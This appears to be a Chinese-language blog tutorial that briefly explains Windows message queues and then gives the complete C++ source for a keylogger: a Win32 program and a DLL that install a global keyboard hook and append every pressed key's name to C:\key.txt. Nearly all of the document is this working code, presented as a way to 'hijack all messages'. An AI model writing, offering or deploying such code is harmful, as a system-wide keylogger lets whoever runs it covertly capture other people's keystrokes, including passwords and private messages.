前言
系统会给Windows平台下的所有应用程序发送消息,那么系统事先会把消息放到队列里面,也就是消息队列,这些消息包括:单击鼠标、改变窗口尺寸、按下键盘上的一个键等。消息本身是作为一个记录传递给应用程序的,这个记录(一般在 C/C++/汇编 中称为“结构体”)中包含了消息的类型以及其他信息。系统会为每一个应用程序维护一个消息队列,应用程序只能在消息队列中获取消息,随后发送到任一个窗口。应用程序之所以能存在,主要是因为有消息循环,循环结束,应用程序也结束。接下来给大家分享一个劫持所有消息的代码。
创建项目文件
1.新建win32文件,命名为hijack.cpp文件,该文件调用了在dll库中已写好的转载和卸载钩子的函数,里面的代码如下:
#include<stdio.h>
#include<windows.h>
//extern "C" __declspec(dllexport) 可以让外部对象使用
extern "C" __declspec(dllimport) BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllimport) BOOL UninstallHook();
LRESULT CALLBACK WndProc(
HWND hwnd,//窗口句柄值
UINT uMsg,//消息编号
WPARAM wParam,//附加信息
LPARAM lParam
);
//LPSTR: char *
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow)
{
TCHAR szAppName[] = TEXT("UUUUUU");
MSG msg;
//注册窗口类
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW|CS_VREDRAW; //窗口类风格
wndclass.lpfnWndProc = WndProc;//窗口处理函数
wndclass.hInstance = hInstance;
wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);//加载光标
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//加载白色画刷
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName;//窗口类型名
if (!RegisterClass(&wndclass))
{
printf("fail\n");
MessageBox(NULL, TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
//创建窗口
HWND hWnd = CreateWindow(szAppName, TEXT("键盘记录器"), WS_OVERLAPPEDWINDOW,
400, 200, //窗口左上角
800, 600, //窗口的宽和高
NULL, //父窗口句柄
NULL, //菜单句柄
hInstance, //应用程序实例句柄
NULL //参数
);
ShowWindow(hWnd, SW_SHOW);
//更新窗口
UpdateWindow(hWnd);
//每个线程都会有个消息队列,消息机制驱动队列
while (GetMessage(&msg,NULL,0,0))
{
//将虚拟键消息转换成字符消息
TranslateMessage(&msg);
//将消息分发到窗口处理函数
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WndProc(
HWND hwnd,//窗口句柄值
UINT uMsg,//消息编号
WPARAM wParam,//附加信息
LPARAM lParam)
{
switch (uMsg)
{
//程序启动
case WM_CREATE:
InstallHook();
break;
case WM_CLOSE:
DestroyWindow(hwnd);
break;
case WM_DESTROY:
UninstallHook();
PostQuitMessage(0);
break;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
创建DLL
创建的dll为信息劫持功能的载体,该dll劫持的是所有线程信息,并把劫持的信息存在txt文件中
头部文件
hj.cpp
#include<windows.h>
//安装钩子
//extern "C" __declspec(dllexport) 可以让外部对象使用
extern "C" __declspec(dllexport) BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();
//钩子处理函数
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);
C++文件
// hj.cpp : 定义 DLL 应用程序的导出函数。
#include<stdio.h>
#include "stdafx.h"
#include "kb.h"
HHOOK hHook;
//这样定义只能内部使用
//安装钩子
__declspec(dllexport) BOOL InstallHook()
{
hHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc,
GetModuleHandle(L"kb"),//获取模块句柄
0//设置成全局钩子
);
if (hHook == NULL)
{
return false;
}
else
return true;
}
//卸载钩子
__declspec(dllexport) BOOL UninstallHook()
{
return UnhookWindowsHookEx(hHook);
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
//加头文件#include<stdio.h>
FILE* fp = fopen("C:\\key.txt", "a");
if (fp == NULL)
return CallNextHookEx(hHook, code, wParam, lParam);
//获取按键的名称
if(code<0||code==HC_NOREMOVE)
return CallNextHookEx(hHook, code, wParam, lParam);
if(lParam & 0x40000000)
return CallNextHookEx(hHook, code, wParam, lParam);
char szKeyName[100] = { 0 };
GetKeyNameTextA(lParam,szKeyName,100);
//写入文件
fwrite(szKeyName, 1, strlen(szKeyName), fp);
fclose(fp);
return 0;
}